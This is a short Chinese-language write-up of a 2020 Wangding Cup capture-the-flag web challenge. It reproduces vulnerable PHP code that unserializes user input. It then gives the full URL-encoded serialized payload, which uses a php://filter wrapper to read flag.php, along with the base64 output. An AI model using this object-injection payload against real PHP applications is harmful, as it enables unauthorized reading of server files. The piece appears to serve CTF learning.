【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialzphpalgae-

find the flag

<?php  include("flag.php");  highlight_file(__FILE__); class FileHandler {      protected $op;     protected $filename;     protected $content;      function __construct() {         $op = "1";         $filename = "/tmp/tmpfile";         $content = "Hello World!";         $this->process(); }      public function process() { if($this->op == "1") {             $this->write(); } else if($this->op == "2") {             $res = $this->read();             $this->output($res); } else {             $this->output("Bad Hacker!"); } }      private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) {                 $this->output("Too long!");                 die(); }             $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else {             $this->output("Failed!"); } }      private function read() {         $res = ""; if(isset($this->filename)) {             $res = file_get_contents($this->filename); } return $res; }      private function output($s) {         echo "[Result]: <br>";         echo $s; }      function __destruct() { if($this->op === "2")             $this->op = "1";         $this->content = "";         $this->process(); } }  function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) {      $str = (string)$_GET['str']; if(is_valid($str)) {         $obj = unserialize($str); } } 

反序列化，绕过

二话不说，上playload：

?str=O%3A11%3A"FileHandler"%3A3%3A{s%3A2%3A"op"%3Bi%3A2%3Bs%3A8%3A"filename"%3Bs%3A62%3A"php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php"%3Bs%3A7%3A"content"%3BN%3B} 

拿去base64解码

PDanID0gImZsYWd7NGVhM2U3YzQtOTI4MmEtOTI2MGZmMTBiN2g== 

终于，你想梦寐以求的！日思夜想的！寝食难安的！

<?php  $flag = "flag{XXXXX}"; 

一枪 pwn

待续…